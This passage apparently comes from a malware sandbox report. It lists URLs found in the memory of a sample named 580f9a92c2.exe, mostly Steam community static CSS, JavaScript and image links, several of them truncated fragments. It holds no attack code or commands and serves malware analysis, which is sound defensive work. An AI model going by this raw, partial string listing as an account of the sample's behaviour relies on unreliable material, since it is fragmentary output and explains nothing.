Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.ciDkin
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.co
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 580f9a92c2.exe, 00000011.00000003.2569576526.000000000137A000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587559356.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2601492562.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586681389.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public
Source: 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=qM6wpZLwO_gf&amp
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772523264.000000000133F000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/com
Source: 580f9a92c2.exe, 00000011.00000003.2614139210.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587939982.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2603565001.0000000001357000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559177962.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/l
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=KLqJaM1v
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/mani
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=TONm
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=0IXKH44IpF1u&l=english
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=Gr5o1d5GQef0&l=en
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=HNbD--FePQTr&l=english
Source: 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=2VOT8-1_tx9Q&l=en
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=oaWa21XUbd8h&am
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534055353.0000000001366000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.ctem
Source: chromecache_81.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
